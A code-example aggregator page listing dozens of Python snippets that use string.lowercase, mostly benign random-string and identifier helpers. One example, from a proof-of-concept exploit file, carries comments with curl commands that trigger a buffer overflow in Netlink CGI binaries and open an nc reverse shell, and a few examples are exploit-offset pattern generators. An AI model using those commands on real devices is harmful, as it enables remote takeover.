Python string.lowercase() Examples

The following are code examples for showing how to use string.lowercase(). They are from open source Python projects. You can vote up the examples you like or vote down the ones you don't like.

Example 1
Project: sos-collector   Author: sosreport   File: sos_collector.py    GNU General Public License v2.0 7 votes vote down vote up
def _get_archive_name(self):
        '''Generates a name for the tarball archive'''
        nstr = 'sos-collector'
        if self.config['label']:
            nstr += '-%s' % self.config['label']
        if self.config['case_id']:
            nstr += '-%s' % self.config['case_id']
        dt = datetime.strftime(datetime.now(), '%Y-%m-%d')

        try:
            string.lowercase = string.ascii_lowercase
        except NameError:
            pass

        rand = ''.join(random.choice(string.lowercase) for x in range(5))
        return '%s-%s-%s' % (nstr, dt, rand) 
Example 2
Project: pyblish-win   Author: pyblish   File: texi2html.py    GNU Lesser General Public License v3.0 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example 3
Project: Spyce   Author: imec-myhdl   File: netlist.py    GNU Lesser General Public License v2.1 6 votes vote down vote up
def isidentifier(ident):
    """Determines if string is valid Python identifier."""

    if not isinstance(ident, (str, unicode)):
        raise TypeError("expected str, but got {!r}".format(type(ident)))

    if not ident:
        return False

    if keyword.iskeyword(ident):
        return False

    first = '_' + string.lowercase + string.uppercase
    if ident[0] not in first:
        return False

    other = first + string.digits
    for ch in ident[1:]:
        if ch not in other:
            return False

    return True 
Example 4
Project: Tools   Author: bartlomiejduda   File: TableModels.py    GNU General Public License v3.0 6 votes vote down vote up
def autoAddColumns(self, numcols=None):
        """Automatically add x number of cols"""

        #alphabet = string.lowercase[:26]
        alphabet = string.ascii_lowercase
        currcols=self.getColumnCount()
        #find where to start
        start = currcols + 1
        end = currcols + numcols + 1
        new = []
        for n in range(start, end):
            new.append(str(n))
        #check if any of these colnames present
        common = set(new) & set(self.columnNames)
        extra = len(common)
        end = end + extra
        for x in range(start, end):
            self.addColumn(str(x))
        return 
Example 5
Project: oss-ftp   Author: aliyun   File: texi2html.py    MIT License 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example 6
Project: OffSec   Author: ducatinat   File: pattern.py    GNU General Public License v3.0 6 votes vote down vote up
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
Example 7
Project: chess-qa   Author: volkancirik   File: visualizer.py    MIT License 6 votes vote down vote up
def draw(self, fen):
		'''Return an image depicting the input position.
		
		fen - the first record of a FEN chess position.
		Clients are responsible for resizing this image and saving it,
		if required.
		'''
		board = self.board.copy()
		pieces = expand_fen(fen)
		images, masks, n = self.piece_images, self.piece_masks, self.n
		pts = (self.point(i, j) for j in range(n) for i in range(n))
		def not_blank(pt_pc):
			return pt_pc[1] != ' '
		for pt, piece in filter(not_blank, zip(pts, pieces)):
			board.paste(images[piece], pt, masks[piece])

		d = ImageDraw.Draw(board)
		font = ImageFont.truetype("arial.ttf",11)
		x = string.lowercase[:8]
		for i in xrange(0,8):
			d.text( ( 45 + i*50, 388) , x[i] , fill = (0,256), font = font)
			d.text( (1, 350 - i*50) , str(i+1) , fill = (0,256), font = font)

		return board 
Example 8
Project: hask   Author: billpmurphy   File: syntax.py    BSD 2-Clause "Simplified" License 6 votes vote down vote up
def __call__(self, *typeargs):
        if len(typeargs) < 1:
            msg = "Missing type args in statement: `data.%s()`" % self.name
            raise SyntaxError(msg)

        # make sure all type params are strings
        if not all((type(arg) == str for arg in typeargs)):
            raise SyntaxError("Type parameters must be strings")

        # make sure all type params are letters only
        is_letters = lambda xs: all((x in string.lowercase for x in xs))
        if not all((is_letters(arg) for arg in typeargs)):
            raise SyntaxError("Type parameters must be lowercase letters")

        # all type parameters must have unique names
        if len(typeargs) != len(set(typeargs)):
            raise SyntaxError("Type parameters are not unique")

        return __new_tcon_hkt__(self.name, typeargs) 
Example 9
Project: genpass   Author: ssrathi   File: genpass_cli.py    The Unlicense 6 votes vote down vote up
def gen_passwd(length=DEFAULT_LENGTH, capitals=True, numerals=True, symbols=True):
    """
    Generate a random password of specified length

    :param length: Length of generated password
    :param capitals: Include CAPITAL letters in the password
    :param numerals: Include NUMERALS in the password
    :param symbols: Include SYMBOLS in the password
    """

    chars = string.lowercase
    if capitals:
        chars += string.uppercase
    if numerals:
        chars += string.digits
    if symbols:
        chars += "@#$%^&?*():;-="

    password = []
    for i in xrange(length):
        index = random.SystemRandom().randrange(len(chars))
        password.append(chars[index])
    return "".join(password) 
Example 10
Project: security-scripts   Author: Und3rf10w   File: pattern.py    GNU General Public License v2.0 6 votes vote down vote up
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
Example 11
Project: JovianDSS-Cinder   Author: open-e   File: iscsi.py    Apache License 2.0 6 votes vote down vote up
def _get_provider_auth(self):
        """Get provider authentication for the volume.

        :return: string of auth method and credentials
        """
        if not self.jovian_chap_auth:
            return None

        field = string.lowercase + string.uppercase + string.digits
        chap_password = ''.join(random.sample(field,
                                              int(self.jovian_chap_pass_len)))

        if self.jovian_chap_username is not None:
            return '%(auth)s %(user)s %(pass)s' % {
                'auth': 'CHAP',
                'user': self.jovian_chap_username,
                'pass': chap_password
            }

        return None 
Example 12
Project: pyblish-win   Author: pyblish   File: test_string.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 13
Project: VisualNN   Author: angelhunt   File: export_prototxt.py    GNU General Public License v3.0 5 votes vote down vote up
def randomword(length):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 14
Project: VisualNN   Author: angelhunt   File: export_json.py    GNU General Public License v3.0 5 votes vote down vote up
def randomword(length):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 15
Project: VisualNN   Author: angelhunt   File: export_graphdef.py    GNU General Public License v3.0 5 votes vote down vote up
def randomword(length):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 16
Project: VisualNN   Author: angelhunt   File: tasks.py    GNU General Public License v3.0 5 votes vote down vote up
def randomword(length):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 17
Project: Old-school-processing   Author: cianfrocco-lab   File: apParam.py    MIT License 5 votes vote down vote up
def makeTimestamp():
	datestamp = time.strftime("%y%b%d").lower()
	hourstamp = string.lowercase[(time.localtime()[3])%26]
	if hourstamp == "x":
		### SPIDER does not like x's
		hourstamp = "z"
	#mins = time.localtime()[3]*12 + time.localtime()[4]
	#minstamp = string.lowercase[mins%26]
	minstamp = "%02d"%(time.localtime()[4])
	timestamp = datestamp+hourstamp+minstamp
	return timestamp

#===================== 
Example 18
Project: congo   Author: justecorruptio   File: user.py    MIT License 5 votes vote down vote up
def gen_salt():
    return ''.join(
        random.choice(string.lowercase)
        for i in xrange(40)
    ) 
Example 19
Project: congo   Author: justecorruptio   File: session.py    MIT License 5 votes vote down vote up
def gen_nonce():
    return ''.join(
        random.choice(string.lowercase)
        for i in xrange(40)
    ) 
Example 20
Project: GeoPy   Author: aerler   File: misc.py    GNU General Public License v3.0 5 votes vote down vote up
def addLabel(ax, label=None, loc=1, stroke=False, size=None, prop=None, **kwargs):
  from matplotlib.offsetbox import AnchoredText 
  from matplotlib.patheffects import withStroke
  from string import lowercase
  warn('Deprecated function: use Figure or Axes class methods.')    
  # expand list
  if not isinstance(ax,(list,tuple)): ax = [ax] 
  l = len(ax)
  if not isinstance(label,(list,tuple)): label = [label]*l
  if not isinstance(loc,(list,tuple)): loc = [loc]*l
  if not isinstance(stroke,(list,tuple)): stroke = [stroke]*l
  # settings
  if prop is None:
    prop = dict()
  if not size: prop['size'] = 18
  args = dict(pad=0., borderpad=1.5, frameon=False)
  args.update(kwargs)
  # cycle over axes
  at = [] # list of texts
  for i in range(l):
    if label[i] is None:
      label[i] = '('+lowercase[i]+')'
    elif isinstance(label[i],int):
      label[i] = '('+lowercase[label[i]]+')'
    # create label    
    at.append(AnchoredText(label[i], loc=loc[i], prop=prop, **args))
    ax[i].add_artist(at[i]) # add to axes
    if stroke[i]: 
      at[i].txt._text.set_path_effects([withStroke(foreground="w", linewidth=3)])
  return at 
Example 21
Project: GeoPy   Author: aerler   File: legacy.py    GNU General Public License v3.0 5 votes vote down vote up
def addLabel(ax, label=None, loc=1, stroke=False, size=None, prop=None, **kwargs):
  from matplotlib.offsetbox import AnchoredText 
  from matplotlib.patheffects import withStroke
  from string import lowercase
  warn('Deprecated function: use Figure or Axes class methods.')    
  # expand list
  if not isinstance(ax,(list,tuple)): ax = [ax] 
  l = len(ax)
  if not isinstance(label,(list,tuple)): label = [label]*l
  if not isinstance(loc,(list,tuple)): loc = [loc]*l
  if not isinstance(stroke,(list,tuple)): stroke = [stroke]*l
  # settings
  if prop is None:
    prop = dict()
  if not size: prop['size'] = 18
  args = dict(pad=0., borderpad=1.5, frameon=False)
  args.update(kwargs)
  # cycle over axes
  at = [] # list of texts
  for i in range(l):
    if label[i] is None:
      label[i] = '('+lowercase[i]+')'
    elif isinstance(label[i],int):
      label[i] = '('+lowercase[label[i]]+')'
    # create label    
    at.append(AnchoredText(label[i], loc=loc[i], prop=prop, **args))
    ax[i].add_artist(at[i]) # add to axes
    if stroke[i]: 
      at[i].txt._text.set_path_effects([withStroke(foreground="w", linewidth=3)])
  return at


# function to place (shared) colorbars at a specified figure margins 
Example 22
Project: koeken   Author: twbattaglia   File: plot_cladogram.py    MIT License 5 votes vote down vote up
def uniqueid():
	for l in string.lowercase: yield l
	for l in string.lowercase:
		for i in range(10):
			yield l+str(i)
	i = 0
   	while True:
		yield str(i)
		i += 1 
Example 23
Project: ota-dfu-python   Author: foldedtoad   File: unpacker.py    Apache License 2.0 5 votes vote down vote up
def entropy(self, length):
       return ''.join(random.choice(string.lowercase) for i in range (length))


   #--------------------------------------------------------------------------
   # 
   #-------------------------------------------------------------------------- 
Example 24
Project: Miscellaneous   Author: Shinpachi8   File: common.py    Apache License 2.0 5 votes vote down vote up
def random_str(length=8):
    s = string.lowercase + string.uppercase + string.digits
    return "".join(random.sample(s, length)) 
Example 25
Project: mist.api   Author: mistio   File: test_edit_cloud.py    Apache License 2.0 5 votes vote down vote up
def test_rename_cloud(cloud):
    print('rename cloud with title %s' % cloud.title)

    random_word = ''.join(random.choice(string.lowercase) for i in range(6))
    new_title = str(cloud.title) + '_' + random_word
    print('new title is %s' % new_title)

    cloud.ctl.rename(new_title)
    assert new_title == cloud.title
    print('rename cloud succeeded') 
Example 26
Project: GeneticAlgorithm   Author: franciscogmm   File: shakespeare_monkey_thecodingtrain.py    MIT License 5 votes vote down vote up
def mutate(self, child, mutationRate):
        gene_pool = string.lowercase
        gene_pool += ' '
        for i in range(len(child.genes)):
            if mutationRate > random.random():
                x = random.randint(0, len(gene_pool)-1)
                child.genes[i] = gene_pool[x]
        return child 
Example 27
Project: GeneticAlgorithm   Author: franciscogmm   File: shakespeare_monkey_thecodingtrain.py    MIT License 5 votes vote down vote up
def newGenes(self, length):
        DNA = []
        gene_pool = string.lowercase
        gene_pool += ' '
        for i in range(length):
            x = random.randint(0, len(gene_pool)-1)
            #print i,':',x
            DNA.append(gene_pool[x])
        return DNA 
Example 28
Project: GTDBNCBI   Author: Ecogenomics   File: extract_metadata_from_gbff.py    GNU General Public License v3.0 5 votes vote down vote up
def _randomword(self, length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 29
Project: TAF   Author: couchbaselabs   File: cursor_drop_test.py    Apache License 2.0 5 votes vote down vote up
def generate_GleambookMessages(self, num=None,message_id=None):

        date = "%04d"%random.choice(self.year) + "-" + "%02d"%random.choice(self.month) + "-" + "%02d"%random.choice(self.day)
        time = "%02d"%random.choice(range(0,24)) + "-" + "%02d"%random.choice(range(0,60)) + "-" + "%02d"%random.choice(self.day)

        GleambookMessages = {"message_id": "%d"%message_id, "author_id": "%d"%num,
#                              "in_response_to": "%d"%random.choice(range(message_id)), 
#                              "sender_location": str(round(random.uniform(0, 100), 4))+","+str(round(random.uniform(0, 100), 4)), 
                             "send_time": date+"T"+time, 
#                              "message": ''.join(random.choice(string.lowercase) for x in range(50))
                             }
        return GleambookMessages 
Example 30
Project: TAF   Author: couchbaselabs   File: kv_volume_full_test.py    Apache License 2.0 5 votes vote down vote up
def generate_GleambookMessages(self, num=None,message_id=None):

        date = "%04d"%random.choice(self.year) + "-" + "%02d"%random.choice(self.month) + "-" + "%02d"%random.choice(self.day)
        time = "%02d"%random.choice(range(0,24)) + "-" + "%02d"%random.choice(range(0,60)) + "-" + "%02d"%random.choice(self.day)

        GleambookMessages = {"message_id": "%d"%message_id, "author_id": "%d"%num,
#                              "in_response_to": "%d"%random.choice(range(message_id)), 
#                              "sender_location": str(round(random.uniform(0, 100), 4))+","+str(round(random.uniform(0, 100), 4)), 
                             "send_time": date+"T"+time, 
#                              "message": ''.join(random.choice(string.lowercase) for x in range(50))
                             }
        return GleambookMessages 
Example 31
Project: TAF   Author: couchbaselabs   File: cbas_volume.py    Apache License 2.0 5 votes vote down vote up
def generate_GleambookMessages(self, num=None,message_id=None):

        date = "%04d"%random.choice(self.year) + "-" + "%02d"%random.choice(self.month) + "-" + "%02d"%random.choice(self.day)
        time = "%02d"%random.choice(range(0,24)) + "-" + "%02d"%random.choice(range(0,60)) + "-" + "%02d"%random.choice(self.day)

        GleambookMessages = {"message_id": "%d"%message_id, "author_id": "%d"%num,
#                              "in_response_to": "%d"%random.choice(range(message_id)), 
#                              "sender_location": str(round(random.uniform(0, 100), 4))+","+str(round(random.uniform(0, 100), 4)), 
                             "send_time": date+"T"+time, 
#                              "message": ''.join(random.choice(string.lowercase) for x in range(50))
                             }
        return GleambookMessages 
Example 32
Project: python-edifact   Author: FriedrichK   File: base.py    Apache License 2.0 5 votes vote down vote up
def __init__(self, mandatory=False, repeats=1, label=None, description=None, repeat=0):
        self.mandatory = mandatory
        self.repeats = repeats
        self.label = label
        self.description = description
        self.repeat = repeat
        self.uid = ''.join(random.choice(string.lowercase) for i in range(5)) 
Example 33
Project: IoTFusion2018Talk   Author: tspannhw   File: testmqtt.py    Apache License 2.0 5 votes vote down vote up
def randomword(length):
 return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 34
Project: ironpython2   Author: IronLanguages   File: test_string.py    Apache License 2.0 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 35
Project: Some-Examples-of-Simple-Python-Script   Author: agusmakmun   File: Auto rename file upload.py    GNU Affero General Public License v3.0 5 votes vote down vote up
def path_and_rename(path):
        def wrapper(instance, filename):
            ext = filename.split('.')[-1]
            f_name = '-'.join(filename.replace('.pdf', '').split() )
            rand_strings = ''.join( random.choice(string.lowercase+string.digits) for i in range(10) )
            filename = '{}_{}{}.{}'.format(f_name, rand_strings, uuid4().hex, ext)
            return os.path.join(path, filename)
        return wrapper

    # Please comment `validators=[pdf_validator]` before migrate/makemigrations your database.
    # For more: https://docs.djangoproject.com/en/1.9/topics/migrations/#serializing-values 
Example 36
Project: fhq-automation-ussr   Author: freehackquest   File: cron_jury.py    MIT License 5 votes vote down vote up
def randomword(length):
   return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 37
Project: stormtrooper   Author: CompileInc   File: models.py    MIT License 5 votes vote down vote up
def save(self, *args, **kwargs):
        if self.slug in EMPTY_VALUES:
            rs = ''.join(random.choice(string.lowercase) for i in range(10))
            content = "{}{}".format(str(self.question),
                                    str(rs))
            self.slug = hashlib.sha1(content).hexdigest()

        return super(Question, self).save(*args, **kwargs) 
Example 38
Project: recon-ng   Author: lanmaster53   File: framework.py    GNU General Public License v3.0 5 votes vote down vote up
def get_random_str(self, length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 39
Project: daf-recipes   Author: italia   File: test_tags.py    GNU General Public License v3.0 5 votes vote down vote up
def _make_tag_list(n=26):
    '''Returns a list of tag dicts, starting with 'aa, bb, ..., zz', then
    'aaa, bbb, ..., zzz', etc. Tags must be at least 2 characters.'''
    lc = string.lowercase
    lc_len = len(lc)
    return [{'name': lc[i % lc_len] * int(math.ceil(i / lc_len) + 2)}
            for i in range(0, n)] 
Example 40
Project: pyx   Author: pyx-project   File: textboxes.py    GNU General Public License v2.0 5 votes vote down vote up
def randpar():
    return " ".join(["".join([random.choice(string.lowercase)
                              for j in range(random.randint(1, 3))])
                     for i in range(random.randint(100, 300))]) 
Example 41
Project: garage_clicker   Author: rooterkyberian   File: garage_clicker.py    GNU General Public License v2.0 5 votes vote down vote up
def random_word(length):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 42
Project: PoC   Author: mcw0   File: Realtek-RTL83xx-PoC.py    The Unlicense 5 votes vote down vote up
def random_string(self,length):
		self.length = length

		return "a" * self.length
		#return ''.join(random.choice(string.lowercase) for i in range(self.length))

	#
	# Source: https://gist.github.com/angstwad/bf22d1822c38a92ec0a9
	# 
Example 43
Project: PoC   Author: mcw0   File: Realtek-RTL83xx-PoC.py    The Unlicense 5 votes vote down vote up
def random_string(self,length):
		self.length = length

		return 'A' * self.length
		#return ''.join(random.choice(string.lowercase) for i in range(self.length)) 
Example 44
Project: PoC   Author: mcw0   File: LifeSafetyPower-Netlink-PoC.py    The Unlicense 5 votes vote down vote up
def random_string(self,length):
		self.length = length

#		return 'A' * self.length
		return ''.join(random.choice(string.lowercase) for i in range(self.length))

	#
	# Access: Anonymous
	#
	# This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well.
	# However, PoC are made only for latest version!
	#
	# The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode,
	# usally used quite early and before any validation has been done.
	# 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system()
	#
	# Most binaries are vulnerable with simple GET call, but few are vulnerable with POST.
	#
	# Very simple and reliable exploitation.
	#
	# Since there is sh1tload of system() pooped around in the binaries, I thought it would be fun to include all vulnerable binaries into
	# a random selection of CGI binary and random selection of system() (You're welcome)
	#
	#
	# Simple curl examples
	#
	# GET
	# curl "http://192.168.57.20/BTM_1.cgi?$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00%23`for((i=0;i<1996;i++));do echo -en "B";done`%8c%31%01%00" -H "Cookie: viewnavi=yes; right=1"
	#
	# POST
	# curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00`for((i=0;i<1997;i++));do echo -en "B";done`%c0%93%00%00" 
Example 45
Project: oss-ftp   Author: aliyun   File: test_string.py    MIT License 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example 46
Project: featherduster   Author: nccgroup   File: helpers.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def make_polybius_square(password,extended=False):
   '''
   Polybius square generator. Returns a list of strings of equal
   length, either 5x5 or 6x6 depending on whether extended
   Polybius mode is on. Assumes I/J are represented as one letter

   password - (string) The password to use when generating the polybius square
   extended - (bool) Set to True to use a 6x6 square instead of a 5x5
   '''
   alphabet = string.lowercase
   if extended == True:
      alphabet += string.digits
   else:
      alphabet = string.replace(string.lowercase, 'j', '')
      password = string.replace(password, 'j', 'i')
   if any([x not in alphabet for x in set(password)]):
      return False
   unique_letters = []
   for letter in password:
      if letter not in unique_letters:
         unique_letters.append(letter)
   for letter in unique_letters:
      alphabet = string.replace(alphabet, letter, '')
   for letter in unique_letters[::-1]:
      alphabet = letter + alphabet
   ps = []
   alphabet_len = len(alphabet)
   grid_size = 5 + int(extended) # Not necessary, but looks cleaner
   for index in xrange(0,alphabet_len,grid_size):
      ps.append(alphabet[index:index+grid_size])
   return ps 
Example 47
Project: featherduster   Author: nccgroup   File: classical.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def morse_encode(text, dot='.', dash='-', space=' '):
   '''
   Encodes text into Morse code.
   '''
   dot_dash_trans = string.maketrans('.-', dot+dash)
   translated_morse_table = map(lambda (x,y): (x, string.translate(y, dot_dash_trans)), morse_table.items())
   translated_morse_table = dict(translated_morse_table)
   output = []
   for char in text.lower():
      if char in string.lowercase + string.digits:
         output.append(translated_morse_table[char])
   return space.join(output) 
Example 48
Project: featherduster   Author: nccgroup   File: classical.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def break_alpha_shift(ciphertext, num_answers=1):
   '''Call generic shift cipher breaker with lowercase letters'''
   return break_generic_shift(ciphertext.lower(), string.lowercase, num_answers=num_answers) 
Example 49
Project: featherduster   Author: nccgroup   File: create_alpha_shift.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def alpha_shift(plaintext, key):
   ciphertext = ''
   for char in plaintext.lower():
      if char in string.lowercase:
         ciphertext += string.lowercase[(string.lowercase.find(char)+key)%26]
      else:
         ciphertext += char
   return ciphertext 
Example 50
Project: OffSec   Author: ducatinat   File: pattern.py    GNU General Public License v3.0 5 votes vote down vote up
def pattern_search(search_pattern):
    """
    Search for search_pattern in pattern. Convert from hex if given as such.
    """
    needle = search_pattern
    if len(needle) == 10 or len(needle) == 8:
        try:
            # (EIP = 0x41326641) Value can be given as either 0x41326641 or 41326641
            if needle.startswith('0x'):
                # Strip off '0x', convert to ASCII and reverse
                needle = needle[2:].decode('hex')
                needle = needle[::-1]
            else:
                needle = needle.decode('hex')
                needle = needle[::-1]
        except TypeError as e:
            print 'Unable to convert hex input:', e
            sys.exit(1)

    haystack = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                haystack += upper+lower+digit
                found_at = haystack.find(needle)
                if found_at > -1:
                    print('Pattern %s first occurrence at position %d in pattern.' %
                          (search_pattern, found_at))
                    return

    print ('Couldn\'t find %s (%s) anywhere in the pattern.' %
           (search_pattern, needle)) 
Example 51
Project: pie-detection   Author: hslh   File: using_english.py    GNU Lesser General Public License v3.0 5 votes vote down vote up
def get_idioms(url, idioms_url):
	'''Scrape the idioms from the usingEnglish.com pages.'''

	idioms = []
	for letter in string.lowercase: # Cycle through categories 
		next_page = '{0}/{1}.html'.format(idioms_url, letter) # Page 1 of the category
		while next_page:
			# Get and parse page
			page = requests.get(next_page)
			soup = BeautifulSoup(page.content, 'html.parser')
			next_page = None
			for link in soup.find_all('a'):
				# Extract idiom from html
				if link.parent.name == 'dt':
					if ' ' in link.string: # Exclude single word 'idioms'
						idioms.append(link.string)
				# Get link to next page in the category
				elif link.parent.name == 'div':
						try:
							if link.parent['class'][0]	== 'pagination':
								if re.match('next', link.string):
									next_page = url + link['href']
						except KeyError: # Sometimes parent has no class
							pass

	return sorted(list(set(idioms))) 
Example 52
Project: Mr.SIP   Author: meliht   File: sip_packet.py    GNU General Public License v3.0 5 votes vote down vote up
def get_rand_call_id():
        prefix = ''.join(random.sample(string.digits + string.lowercase, 27))
        return "{0}{1}".format(str(prefix), str(random.randrange(10000, 99999))) 
Example 53
Project: algoholic   Author: duboviy   File: tests.py    MIT License 5 votes vote down vote up
def testExtremeBigStrSize(self):
        expectedStrsK = 10000
        expectedStrs = [lowercase * expectedStrsK, lowercase * expectedStrsK]
        expectedKStonePerformance = kpystones / 9
        self.data = TestData(expectedStrs, True, expectedKStonePerformance)
        self.runTest() 
Example 54
Project: algoholic   Author: duboviy   File: tests.py    MIT License 5 votes vote down vote up
def testExtremeBigStrSizeNegative(self):
        expectedStrsK = 1000000
        expectedStrs = [(choice(lowercase) * expectedStrsK) + 'a', choice(lowercase) * expectedStrsK]
        expectedKStonePerformance = kpystones
        self.data = TestData(expectedStrs, False, expectedKStonePerformance)
        self.runTest() 
Example 55
Project: recon-ng   Author: b34rdtek   File: framework.py    GNU General Public License v3.0 5 votes vote down vote up
def get_random_str(self, length):
        return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 56
Project: py-GithubArt   Author: ufocoder   File: test_dictionaries.py    MIT License 5 votes vote down vote up
def test_alphabet_letters(dictionary):
    for character in string.lowercase:
        assert dictionary.characters.get(character) 
Example 57
Project: TVMLServer   Author: erlichg   File: utils.py    Apache License 2.0 5 votes vote down vote up
def randomword():
	"""Create a random string of 20 characters"""
	return ''.join(random.choice(string.lowercase) for i in range(20)) 
Example 58
Project: cloudify-azure-plugin   Author: cloudify-cosmo   File: file.py    Apache License 2.0 5 votes vote down vote up
def file_share_name_generator():
    '''Generates a unique File Share resource name'''
    return ''.join(random.choice(string.lowercase + string.digits)
                   for i in range(random.randint(24, 63))) 
Example 59
Project: cloudify-azure-plugin   Author: cloudify-cosmo   File: disk.py    Apache License 2.0 5 votes vote down vote up
def disk_name_generator():
    '''Generates a unique Disk resource name'''
    return ''.join(random.choice(string.lowercase + string.digits)
                   for i in range(random.randint(32, 76))) + '.vhd' 
Example 60
Project: sesame.sh   Author: mafrosis   File: conftest.py    MIT License 5 votes vote down vote up
def password():
    return ''.join(random.choice(string.lowercase) for i in xrange(10)) 
Example 61
Project: pyrebox   Author: silky   File: api.py    GNU General Public License v2.0 5 votes vote down vote up
def add_callback(self,callback_type,func,name=None,addr=None,pgd=None,start_opcode=None,end_opcode=None):
        """ Add a callback to the module, given a name, so that we can refer to it later. 
        
            If the name is repeated, it will provide back a new name based on the one passed as argument,
            that can be used later for removing it or attaching triggers to it.
            
            :param name: The name of the callback
            :type name: str

            :param callback_type: The callback type to insert. One of INSN_BEGIN_CB, BLOCK_BEGIN_CB, etc... See help(api) from a pyrebox shell to get a complete listing of constants ending in _CB
            :type callback_type: int

            :param func: The callback function (python function) 
            :type func: function

            :param addr: Optional. The address where we want to place the callback. Only applies to INSN_BEGIN_CB, BLOCK_BEGIN_CB 
            :type addr: int

            :param pgd: Optional. The PGD (addr space) where we want to place the callback. Only applies to INSN_BEGIN_CB, BLOCK_BEGIN_CB 
            :type pgd: int

            :return: The actual inserted callback name. If the callback name indicated already existed, this name will be updated to make it unique. This name can be used as a handle to the callback
            :rtype: str
        """
        import random,string,time
        #If a name was not provided, just provide a 16 lowercase letter random name
        if name is None:
            random.seed(time.time())
            name = "".join(random.choice(string.lowercase) for i in range(16))
        name = self.__generate_callback_name(name)
        #addr,pgd and start_opcode,end_opcode are exclusive, so we join them together to call register_callback
        first_param = start_opcode if addr is None else addr
        second_param = end_opcode if pgd is None else pgd
        self.callbacks[name] = register_callback(self.module_hdl,callback_type,wrap(func),first_param,second_param)
        return name 
Example 62
Project: motif-classify   Author: macks22   File: motif_tagger.py    MIT License 5 votes vote down vote up
def __init__(self, grammar):
        self.grammar = grammar
        self.sax = pysax.SAXModel(
            window=grammar.window_size,
            stride=1,
            nbins=grammar.paa_size,
            alphabet=string.lowercase[:grammar.alphabet_size]) 
Example 63
Project: eve-metrics   Author: ccpgames   File: tools.py    MIT License 5 votes vote down vote up
def random_password(self):
        import string
        import random
        password = ''
        specials = r'!#$*'
        for i in range(0, 3):
            password += random.choice(string.lowercase)
            password += random.choice(string.uppercase)
            password += random.choice(string.digits)
            password += random.choice(specials)
        return ''.join(random.sample(password, len(password))) 
Example 64
Project: Maat   Author: tum-i22   File: misc.py    Apache License 2.0 5 votes vote down vote up
def getRandomString(length=8):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 65
Project: phovea_server   Author: phovea   File: util.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def random_id(length):
  import string
  import random
  s = string.lowercase + string.digits
  id = ''
  for i in range(0, length):
    id += random.choice(s)
  return id 
Example 66
Project: Aion   Author: aleisalem   File: misc.py    GNU General Public License v3.0 5 votes vote down vote up
def getRandomString(length=8):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 67
Project: aamo   Author: necst   File: util.py    MIT License 5 votes vote down vote up
def get_random(mixed_type, str_len):  # Get a random string of strLen lenght
    type_random = string.letters  # Mixedcase Letter
    if not mixed_type:
        type_random = string.lowercase  # Lowercase letter
    return ''.join(random.sample(type_random, str_len)) 
Example 68
Project: Umbrella   Author: 4w4k3   File: umbrella.py    BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def randomword(length):
   return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 69
Project: klapi   Author: jroivas   File: virsh.py    MIT License 5 votes vote down vote up
def __init__(self, connection):
        self.connection = connection
        self.conn = None
        self.connect()
